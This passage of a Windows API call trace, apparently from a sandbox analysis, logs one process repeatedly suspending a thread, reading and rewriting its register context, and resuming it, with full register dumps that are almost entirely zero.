(hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cfb30, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0118.141] ResumeThread (hThread=0x100) returned 0x1 [0118.141] CloseHandle (hObject=0x100) returned 1 [0118.141] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0118.142] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0118.247] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0118.354] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0118.461] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0118.461] SuspendThread (hThread=0x100) returned 0x0 [0118.461] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf648, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f7488e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0118.463] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf640, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0118.463] ResumeThread (hThread=0x100) returned 0x1 [0118.464] CloseHandle (hObject=0x100) returned 1 [0118.464] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0118.577] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0118.697] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0118.800] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0118.800] SuspendThread (hThread=0x100) returned 0x0 [0118.800] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf990, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fb39080, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0118.802] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf988, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, 